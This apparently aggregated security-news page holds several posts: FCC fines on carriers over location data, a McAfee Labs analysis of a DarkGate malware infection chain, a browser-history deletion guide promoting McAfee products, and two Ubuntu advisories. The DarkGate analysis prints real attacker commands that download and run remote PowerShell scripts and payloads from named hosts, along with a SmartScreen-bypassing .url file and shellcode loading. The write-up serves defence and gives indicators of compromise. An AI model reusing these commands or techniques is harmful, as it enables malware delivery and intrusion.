FCC Fines Major U.S. Wireless Carriers for Selling Customer Location Data

Read Time:2 Minute, 48 Second

The U.S. Federal Communications Commission (FCC) today levied fines totaling nearly $200 million against the four major carriers — including AT&T, Sprint, T-Mobile and Verizon — for illegally sharing access to customers’ location information without consent.

The fines mark the culmination of a more than four-year investigation into the actions of the major carriers. In February 2020, the FCC put all four wireless providers on notice that their practices of sharing access to customer location data were likely violating the law.

The FCC said it found the carriers each sold access to its customers’ location information to ‘aggregators,’ who then resold access to the information to third-party location-based service providers.

“In doing so, each carrier attempted to offload its obligations to obtain customer consent onto downstream recipients of location information, which in many instances meant that no valid customer consent was obtained,” an FCC statement on the action reads. “This initial failure was compounded when, after becoming aware that their safeguards were ineffective, the carriers continued to sell access to location information without taking reasonable measures to protect it from unauthorized access.”

The FCC’s findings against AT&T, for example, show that AT&T sold customer location data directly or indirectly to at least 88 third-party entities. The FCC found Verizon sold access to customer location data (indirectly or directly) to 67 third-party entities. Location data for Sprint customers found its way to 86 third-party entities, and to 75 third-parties in the case of T-Mobile customers.

The commission said it took action in response to a May 2018 story broken by The New York Times, which exposed how a company called Securus Technologies had been selling location data on customers of virtually any major mobile provider to law enforcement officials.

That same month, KrebsOnSecurity broke the news that LocationSmart — a data aggregation firm working with the major wireless carriers — had a free, unsecured demo of its service online that anyone could abuse to find the near-exact location of virtually any mobile phone in North America.

The carriers promised to “wind down” location data sharing agreements with third-party companies. But in 2019, reporting at Vice.com showed that little had changed, detailing how reporters were able to locate a test phone after paying $300 to a bounty hunter who simply bought the data through a little-known third-party service.

The FCC fined Sprint and T-Mobile $12 million and $80 million respectively. AT&T was fined more than $57 million, while Verizon received a $47 million penalty. Still, these fines represent a tiny fraction of each carrier’s annual revenues. For example, $47 million is less than one percent of Verizon’s total wireless service revenue in 2023, which was nearly $77 billion.

The fine amounts vary because they were calculated based in part on the number of days that the carriers continued sharing customer location data after being notified that doing so was illegal (the agency also considered the number of active third-party location data sharing agreements). The FCC notes that AT&T and Verizon each took more than 320 days from the publication of the Times story to wind down their data sharing agreements; T-Mobile took 275 days; Sprint kept sharing customer location data for 386 days.

Read More

The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen

Read Time:11 Minute, 0 Second

Authored by Yashvi Shah, Lakshya Mathur and Preksha Saxena

McAfee Labs has recently uncovered a novel infection chain associated with DarkGate malware. This chain commences with an HTML-based entry point and progresses to exploit the AutoHotkey utility in its subsequent stages. DarkGate, a Remote Access Trojan (RAT) developed using Borland Delphi, has been marketed as a Malware-as-a-Service (MaaS) offering on a Russian-language cybercrime forum since at least 2018. This malicious software boasts an array of functionalities, such as process injection, file download and execution, data theft, shell command execution, keylogging capabilities, among others. Following is the spread of DarkGate observed in our telemetry for last three months:

Figure 1: Geo-Distribution of DarkGate

DarkGate’s attempt to bypass Defender Smartscreen

Additionally, DarkGate incorporates numerous evasion tactics to circumvent detection. DarkGate notably circumvented Microsoft Defender SmartScreen, prompting Microsoft to subsequently release a patch to address this vulnerability.

In the previous year, CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) was identified and subsequently patched https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 . CVE-2023-36025 is a vulnerability impacting Microsoft Windows Defender SmartScreen. This flaw arises from the absence of proper checks and corresponding prompts related to Internet Shortcut (.url) files. Cyber adversaries exploit this vulnerability by creating malicious .url files capable of downloading and executing harmful scripts, effectively evading the warning and inspection mechanisms of Windows Defender SmartScreen. This year, same way, CVE-2024-21412 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412 ) was identified and patched. This vulnerability is about “Internet Shortcut Files Security Feature Bypass Vulnerability”.

Infection Chain

McAfee Labs has identified two distinct initial vectors carrying identical DarkGate shellcode and payload. The first vector originates from an HTML file, while the second begins with an XLS file. We will delve into each chain individually to unveil their respective mechanisms. Below is the detailed infection chain for the same:

Figure 2: Infection Chain

Infection from HTML:

The infection chain initiates with a phishing HTML page masquerading as a Word document. Users are prompted to open the document in “Cloud View” (shown in the figure below), creating a deceptive lure for unwitting individuals to interact with malicious content.

Figure 3: HTML page

Upon clicking “Cloud View,” users are prompted to grant permission to open Windows Explorer, facilitating the subsequent redirection process.

Figure 4: Prompt confirming redirection to Windows Explorer

Upon granting permission and opening Windows Explorer, users encounter a file depicted within the Windows Explorer interface. The window title prominently displays “\onedrive.live.com,” adding a veneer of legitimacy to the purported “Cloud View” experience.

Figure 5: Share Internet Shortcut via SMB

In our investigation, we sought to trace the origin of the described phishing scheme back to its parent HTML file. Upon inspection, it appears that the highlighted content in the image may be a string encoded in reverse Base64 format. This suspicion arises from the presence of a JavaScript function (shown in the figure below) designed to reverse strings, which suggests an attempt to decode or manipulate encoded data.

Figure 6: Javascript in HTML code

On reversing and base64 decoding the yellow highlighted content in Figure 6, we found:

Figure 7: WebDAV share

The URL utilizes the “search-ms” application protocol to execute a search operation for a file named “Report-26-2024.url”. The “crumb” parameter is employed to confine the search within the context of the malicious WebDAV share, restricting its scope. Additionally, the “DisplayName” element is manipulated to mislead users into believing that the accessed resource is associated with the legitimate “onedrive.live.com” folder, thereby facilitating deception.

Hence, the presence of “onedrive.live.com” in the Windows Explorer window title is a direct consequence of the deceptive manipulation within the URL structure.

The file is an Internet Shortcut (.url) file, containing the following content:

Figure 8: content of .URL file

The .url files serve as straightforward INI configuration files, typically consisting of a “URL=” parameter indicating a specific URL. In our scenario, the URL parameter is defined as follows: URL=file://170.130.55.130/share/a/Report-26-2024.zip/Report-26-2024.vbs.

Upon execution of the .url file, it will initiate the execution of the VBScript file specified in the URL parameter. This process allows for the automatic execution of the VBScript file, potentially enabling the execution of malicious commands or actions on the system.

The vulnerability CVE-2023-36025 (https://nvd.nist.gov/vuln/detail/CVE-2023-36025 ) pertains to Microsoft Windows Defender SmartScreen failing to issue a security prompt prior to executing a .url file from an untrusted source. Attackers exploit this by constructing a Windows shortcut (.url) file that sidesteps the SmartScreen protection prompt. This evasion is achieved by incorporating a script file as a component of the malicious payload delivery mechanism. Although Microsoft has released a patch https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 to address this vulnerability, it remains exploitable in unpatched versions of Windows.

If your system is not patched and updated, you will not see any prompt. However, if your system is updated, you will encounter a prompt like:

Figure 9: SmartScreen prompt

On allowing execution, the vbs file is dropped at C:UsersadminAppDataLocalMicrosoftWindowsINetCacheIEU4IRGC29. This file will run automatically on execution of url file and we get the following process tree:

Figure 10: Process tree

Following are the command lines:

“C:WindowsSystem32WScript.exe” “C:UsersadminAppDataLocalMicrosoftWindowsINetCacheIEU4IRGC29Report-26-2024[1].vbs”

“C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘withupdate.com/zuyagaoq’)

??C:Windowssystem32conhost.exe 0xffffffff -ForceV1
“C:rjtuAutoHotkey.exe” C:/rjtu/script.ahk
“C:Windowssystem32attrib.exe” +h C:/rjtu/

The sequence of commands begins with the execution of the VBScript file located at “C:UsersadminAppDataLocalMicrosoftWindowsINetCacheIEU4IRGC29Report-26-2024[1].vbs”. This VBScript subsequently utilizes PowerShell to execute a script obtained from the specified URL (‘withupdate.com/zuyagaoq’) via the Invoke-RestMethod cmdlet. Upon executing the downloaded script, it proceeds to command and execute the AutoHotkey utility, employing a script located at the designated path (C:/rjtu/script.ahk). Subsequently, the final command utilizes the attrib tool to set the hidden attribute (+h) for the specified directory (C:/rjtu/).

Inspecting the URL “withupdate.com/zuyagaoq” explicitly allows for a detailed understanding of the infection flow:

Figure 11: Remote Script on the C2

This URL leads to a script:

Figure 12: Remote Script contentReformatting, we get:

Figure 13: Remote script content

Explanation of the script:

ni ‘C:/rjtu/’ -Type Directory -Force: This command creates a new directory named “rjtu” in the root of the C drive if it doesn’t already exist.
cd ‘C:/rjtu/’: This changes the current directory to the newly created “rjtu” directory.
Invoke-WebRequest -Uri “http://withupdate.com/oudowibspr” -OutFile ‘C:/rjtu/temp_AutoHotkey.exe’: This command downloads a file from the specified URL and saves it as “temp_AutoHotkey.exe” in the “rjtu” directory.
Invoke-WebRequest -Uri “http://withupdate.com/rwlwiwbv” -OutFile ‘C:/rjtu/script.ahk’: This downloads a file named “script.ahk” from another specified URL and saves it in the “rjtu” directory.
Invoke-WebRequest -Uri “http://withupdate.com/bisglrkb” -OutFile ‘C:/rjtu/test.txt’: This downloads a file named “test.txt” from yet another specified URL and saves it in the “rjtu” directory.
start ‘C:/rjtu/AutoHotkey.exe’ -a ‘C:/rjtu/script.ahk’: This command starts the executable “AutoHotkey.exe” located in the “rjtu” directory and passes “script.ahk” file as an argument.
attrib +h ‘C:/rjtu/’: This sets the hidden attribute for the “rjtu” directory.

Checking “C:/rjtu”:

Figure 14: Dropped folder

AutoHotkey is a scripting language that allows users to automate tasks on a Windows computer. It can simulate keystrokes, mouse movements, and manipulate windows and controls. By writing scripts, users can create custom shortcuts, automate repetitive tasks, and enhance productivity.

To execute an AutoHotkey script, it is passed as a parameter to the AutoHotkey executable (autohotkey.exe).

Following is the ahk script file content:

Figure 15: Content of .ahk script

There are a lot of comments added in the script, simplifying the script, we get:

Figure 16: .ahk script after removing junk

This script reads the content of “test.txt” into memory, allocates a memory region in the process’s address space, writes the content of “test.txt” as hexadecimal bytes into that memory region, and finally, it executes the content of that memory region as a function. This script seems to be executing instructions stored in “test.txt”.

Now, it’s confirmed that the shellcode resides within the contents of “test.txt”. This is how the text.txt appears:

Figure 17: Content of test.txt

We analyzed the memory in use for Autohotkey.exe.

Figure 18: Memory of running instance of AutoHotKey.exeWe dumped the memory associated with it and found that it was the same as the content in test.txt.

Figure 19: Memory dump of running AutoHotKey.exe same as test.txt

This is the shellcode present here.  The first 6 bytes are assembly instructions:

Figure 20: Shellcode A in the beginning

Following the jump instructions of 3bf bytes, we reach the same set of instructions again:

Figure 21: Same Shellcode A after jump

This means another jump with be taken for another 3bf bytes:

Figure 22: Same Shellcode A one more time

We have encountered same set of instructions again, taking another jump we reach to:

Figure 23: New Shellcode B found next.

These bytes are again another shellcode and the region highlighted in yellow(in the figure below) is a PE file. The Instruction pointer is not at the PE currently. This shellcode needs to be decoded first.

Figure 24: Shellcode B followed by PE file highlighted

This shellcode suggests adding 71000 to the current offset and instruction pointer will be at the new location. The current offset is B3D, adding 71000 makes it 71B3D. Checking 71B3D, we get:

Figure 25: After debugging found next Shellcode C

This is again now one more set of instructions in shellcode. This is approximately 4KB in size and is appended at the end of the file.

Figure 26: Shellcode C directing to entry point of the PE file

Upon debugging this code, we figured out that in marked “call eax” instruction, eax has the address of the entry point of the final DarkGate payload. Hence this instruction finally moves the Instruction Pointer to the entry point of the PE file. This goes to the same region marked in yellow in Figure 24.

This is the final DarkGate payload which is a Delphi-compiled executable file:

Figure 27: Darkgate payload.

Upon this, we see all the network activity happening to C2 site:

Figure 28: Network Communication

Figure 29: C2 IP address

The exfiltration is done to the IP address 5.252.177.207.

Persistence:

For maintaining persistence, a .lnk file is dropped in startup folder:

Figure 30: Persistence

Content of lnk file:

Figure 31: Content of .lnk used for persistence

The shortcut file (lnk) drops a folder named “hakeede” in the “C:ProgramData” directory.

Figure 32: Folder dropped in “C:ProgramData”

Inside this folder, all the same files are present:

Figure 33: Same set of files present in dropped folder

Again, the ahk file is executed with the help of Autohotkey.exe and shellcode present in test.txt is executed. These files have the same SHA256 value, differing only in their assigned names.

Infection from XLS:

The malicious excel file asks the user to click on “Open” to view the content properly.

Figure 34: XLS sample

Upon clicking on “Open” button, user gets the following prompt warning the user before opening the file.

Figure 35: XLS files trying to download and run VBS file

For our analysis, we allowed the activity by clicking on “OK”. Following this we got the process tree as:

Figure 36: Process tree from Excel file

The command lines are:

“C:Program FilesMicrosoft OfficeRootOffice16EXCEL.EXE” “C:UsersadminDocumentsCluster10-apr-xls1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4.xlsx”

“C:WindowsSystem32WScript.exe” “\45.89.53.187sMS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs”

“C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘103.124.106.237/wctaehcw’)

??C:Windowssystem32conhost.exe 0xffffffff -ForceV1
“C:kadyAutoHotkey.exe” C:/kady/script.ahk
“C:Windowssystem32attrib.exe” +h C:/kady/

The file it gets from “103.124.106[.]237/wctaehcw” has the following content:

Figure 37: Remote script simliar to previous chain

From this point onward, the infection process mirrors the previously discussed chain. All three files, including AutoHotKey.exe, a script file, and a text file, are downloaded, with identical artifacts observed throughout the process.

Mitigation:

Verify Sender Information
Think Before Clicking Links and Warnings
Check for Spelling and Grammar Errors
Be Cautious with Email Content
Verify Unusual Requests
Use Email Spam Filters
Check for Secure HTTP Connections
Delete Suspicious Emails
Keep Windows and Security Software Up to date

Indicators of Compromise (IoCs):

File
Hash

Html file
196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005

URL file
2b296ffc6d173594bae63d37e2831ba21a59ce385b87503710dc9ca439ed7833

VBS
038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907

autohotkey.exe
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

AHK script
dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455

test.txt
4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795

DarkGate exe
6ed1b68de55791a6534ea96e721ff6a5662f2aefff471929d23638f854a80031

IP
5.252.177.207

XLS file
1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4

VBS
2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f

LNK file
10e362e18c355b9f8db9a0dbbc75cf04649606ef96743c759f03508b514ad34e

IP
103.124.106.237

Table 1: IOC table

The post The Darkgate Menace: Leveraging Autohotkey & Attempt to Evade Smartscreen appeared first on McAfee Blog.

Read More

How to Delete Your Browser History

Read Time:7 Minute, 44 Second

Until recently, people had little control over how companies used their online data. But, with data privacy now a human right, people are pickier about who can access their data and how they use it.  

Every time you visit a website by typing its address on the address bar, your browser history holds a record of information like the name of the site, its location, and when you visited it. Unfortunately, third parties can access this data, leaving you vulnerable to identity theft and data misuse. Simply deleting your Internet Explorer browser history is not enough to safeguard your data. 

This article explains how to keep your internet activities private and delete your web browser history for good. 

Can you permanently delete your browsing history?

Most people don’t know that clearing your browsing history doesn’t actually delete it. 

Even after you’ve clicked on the “clear browsing history” option in your selected browser, there’s still a record of every Google search from the beginning of time. This information can be accessed by third parties like your internet service provider, the websites you visit, and advertisers. So, clearing your browsing history is not enough to safeguard your data. 

While clearing your browser history has benefits like better application efficiency, you should invest in useful online tools like McAfee’s identity theft protection, which can better protect your data online.

Before diving into how to clear your browser history, let’s talk about why you should give importance to deleting your data for good. 

Why you should delete your browsing history

Just like you have to clear out the dust from your vacuum cleaner to continue cleaning, you should clear the data on your browser so it remains speedy and efficient.  

Your browsing history records are cluttered with cache files, cookies, search history, and autofill data. All this digital clutter fills up your Random Access Memory (or RAM), slowing your PC, Apple iOS device, or Android device’s functioning. 

You might see pop-ups on websites telling you that they use cookies. Without giving it much thought, you might click the “OK” or “Accept cookies” button and continue browsing the site. But do you know how these cookies are used? 

Cookies are temporary internet files that store browsing data and preferences to make your future online experiences easier. For example, this helps you personalize your search results to an extent. The cache stores parts of pages, websites, or images you visit, enabling the pages to load faster the next time you open them. 

These types of files sound like they help you have a better internet experience, so why should you delete them? 

Here are some reasons to clear your browsing history, cache, and cookies: 

It protects your personal information from other people who use your device and third parties on the internet. 
It clears your device storage and helps your applications run more efficiently. 
It prevents you from using old forms. 

However, simply clearing the cache and cookies is not enough. This method will clear space on your device and erase some references, but the data is still saved on your device as free space. You should use tools to permanently delete your browsing data from the hard drive because: 

This truly protects your data from hackers, which clearing browsing history does not achieve. 
It prevents your information from being tracked, which is common despite the privacy laws in different states and countries. 

So, it’s crucial to properly wipe your data if you’re serious about protecting your privacy online.  

What does private/incognito mode in browsers do?

Many people switch to incognito mode when making an embarrassing Google search because it seemingly leaves no trace of the search on your device. But, does using incognito mode or a private browsing window protect your data and ensure your privacy & security? 

When you use an incognito or private browsing mode, the tracking cookies on the websites you visit are blocked by default, and your cookie data and search history are deleted from the browser as soon as you close the window. Essentially, it auto-deletes your browser history as soon as you close the window. 

However, your browser actions are still visible to the websites you have visited and your internet service provider (ISP). In addition, data from your browsing activity is saved to any accounts you’re logged into (like your Google account), even when using incognito mode. 

Your internet service provider and other third parties have easy access to your browser activity irrespective of whether you’re in private browsing mode. This means using incognito mode is not enough to protect your online privacy. 

How to delete internet history, by browser

If you’re worried about what someone might see on your laptop or you notice your applications slowing down, we’re here to help. We’ll show you how to quickly clear your device’s browser history from some commonly used internet options. 

There’s no fixed or recommended time for deleting your browsing history, cache, and cookies. It’s all relative to your system’s storage space and personal preferences. Refer to this step-by-step guide whenever you feel like it’s time to clear junk from your browsers. 

Google Chrome

To delete your browser history on Google Chrome: 

Open the Chrome browser on your laptop or computer. 
Click the three vertical dots in the upper-right corner. 
Find an option that says “More tools” and select “Clear browsing data” under it. 
Now, you’ll see an option to choose a time range near the top of the screen. To delete everything, select “All time.” If you want to delete history from the past hour, select “Last hour.”  
Next, check the boxes saying “Cookies and other site data” and “Cache images and files,” and click “Clear data.” 

Some of your settings might be deleted when clearing your browser history. For example, you might have to re-sign into your accounts. 

If you want to delete cookies and cache for a specific site, you can learn how to change more cookie settings in Chrome.  

Mozilla Firefox 

To delete your browsing, search, and download history on Mozilla Firefox, follow these steps: 

Click “Menu” and select “History.” 
Select the “Clear recent history” option. 
In “Time range to clear,” choose “Everything” from the drop-down menu. 
Select “Cache” and other items to delete in the options list. 
Ensure the files you want to keep are not selected. 
Click “OK.” 

Now, you have quickly deleted your browser history on Mozilla Firefox. 

Microsoft Edge 

To clear your Microsoft Edge browsing data from just the device you are currently using, turn off sync before clearing the data. The selected data will be deleted across all of your synced devices if sync is turned on.  

Follow these steps to turn off sync: 

Select Settings. 
Click “Profiles.” 
Select “Sync” and click “Turn off sync.” 

To clear browsing data on Microsoft Edge: 

Select “Privacy, search, and services” under settings. 
Click “Clear browsing data” and then “Clear browsing data now.” 
You’ll see an option to choose which types of browsing data to clear. Select the data you want to delete. For example, you can select browsing history and cookies, but keep the saved passwords and autofill data unchecked. 
Choose a time range from the drop-down menu. 
Select the “Clear now” option. 

This is how to clear your browsing data on Microsoft Edge in a few simple steps. 

Safari

Here are simple steps to clear browser cache and cookies on Safari 8.0 through 10.0. These steps apply to your Apple laptop running macOS, but an iPad or iPhone might have slightly different steps. 

On the upper-left corner of your screen, click “Safari” and then choose “Preferences.” 
Click the “Privacy” tab and select “Remove all website data.” 

That’s all! You’ve now deleted your browser history on Safari. 

Opera 

To clear cache and browser history in Opera: 

Press the Control, Shift, and Delete buttons on your keyboard. 
Select the timeframe of your choice. If you want to delete your entire browser history, select “Since Installation.” 
Select “Images and files in cache.” 
Click “Delete browser data.” 
Refresh the web page. 

There you have it! It’s simple and free to erase your browser history, cache, and cookies, and you should regularly do so. 

How to protect your privacy online

Now you know how to delete your browser history to keep your device running smoothly and limit how much data advertisers and companies can collect about you. 

However, you may be concerned about the identity traces still being captured without your knowledge. 

If you’re serious about maintaining complete privacy with your online data, invest in advanced tools to safeguard your online information and prevent identity theft. 

Get the online privacy and protection you need from McAfee 

McAfee helps keep your digital data private and protected from identity theft. Access various tools to safeguard your online spaces by investing in McAfee+. This service includes antivirus software for unlimited devices, complete data cleanup from your hard drive and browser, and much more. In addition, this product comes with a 30-day money-back guarantee.  

 

The post How to Delete Your Browser History appeared first on McAfee Blog.

Read More

USN-6757-1: PHP vulnerabilities

Read Time:27 Second

It was discovered that PHP incorrectly handled PHP_CLI_SERVER_WORKERS variable.
An attacker could possibly use this issue to cause a crash or execute
arbitrary code. This issue only affected Ubuntu 20.04 LTS, and
Ubuntu 22.04 LTS. (CVE-2022-4900)

It was discovered that PHP incorrectly handled certain cookies.
An attacker could possibly use this issue to cookie by pass.
(CVE-2024-2756)

It was discovered that PHP incorrectly handled some passwords.
An attacker could possibly use this issue to cause an account takeover
attack. (CVE-2024-3096)

Read More

USN-6744-3: Pillow vulnerability

Read Time:24 Second

USN-6744-1 fixed a vulnerability in Pillow. This update
provides the corresponding updates for Ubuntu 24.04 LTS.

Original advisory details:

Hugo van Kemenade discovered that Pillow was not properly performing
bounds checks when processing an ICC file, which could lead to a buffer
overflow. If a user or automated system were tricked into processing a
specially crafted ICC file, an attacker could possibly use this issue
to cause a denial of service or execute arbitrary code.

Read More